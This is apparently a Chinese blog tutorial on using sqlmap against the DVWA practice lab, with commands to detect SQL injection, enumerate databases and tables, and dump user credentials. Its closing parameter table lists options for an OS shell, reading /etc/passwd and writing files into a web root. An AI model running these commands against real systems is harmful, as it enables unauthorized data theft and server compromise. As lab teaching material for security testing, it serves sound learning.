0%

sqlmap实践

说明

sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。

安装

  • 下载最新源码
1
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
  • 使用方法
1
2
3
4
5
6
7
8
9
10
11
12
E:\app\sqlmap-dev>python -V
Python 3.7.9

E:\app\sqlmap-dev>python sqlmap.py -h
___
__H__
___ ___[(]_____ ___ ___ {1.6.2.4#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

Usage: sqlmap.py [options]

实践

image-20220218093732636

默认注入

我们要以刚才发现的 ?id 为突破点,使用sqlmap 对DVWA 进行sql 注入测试,batch参数表示默认选项

1
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch

发现了4个注入漏洞类型(基于布尔的盲注检测,时间的盲注检测,错误的检测,union联合查询的检测);还有一种sqlmap也支持就是堆叠查询的检测,其实就算多语句查询,多语句用;隔开

image-20220218111128496

拿数据库

拿数据库信息的命令

1
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --dbs

扫描出来了两个数据库

image-20220218111344952

拿表

查看某数据库并展示所有表命令

1
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch -D dvwa --tables

得到了两个表

image-20220218111657352

表中列

查看某数据库某表的所有列:

1
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch -D dvwa -T users --columns

得到了列数据由8个

image-20220218112135587

查询数据

1
2
3
4
5
6
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch --dump -C "user_id,user,password" -T "users" -D "dvwa"

# --dump 转储数据库表项,查询字段值
# -C 要进行枚举的指定列名
# -T 要进行枚举的指定表名
# -D 要进行枚举的指定数据库名

image-20220218112805713

密码被自动解密了

其他参数

参数名 说明 实例
–data 提交的时候要携带的参数 sqlmap.py -u URL –data“username=a&password=a”
–dbms 指定注入的数据类型 –dbms mysql
–threads 多线程,默认是单线程为1 –threads=10
-r post数据包 sqlmap -r a.txt -p username 入txtpost数据包参数username进行注入
–sql-shell 接获取一个sql shell sqlmap -u url?id=11 –sql-shell
–os-shell 获取一个cmd shell sqlmap -u url?id=11 -os-cmd=ipconfig
–file-read 读取服务器文件 sqlmap -u http://url?id=11 –file-read=/etc/passwd
–file-write 写入本地文件到服务器 qlmap -u http://url/sql.php?id=11 –file-write /test/test.txt –file-dest /var/www/html/1.txt
  • 更多参数说明可以参考这里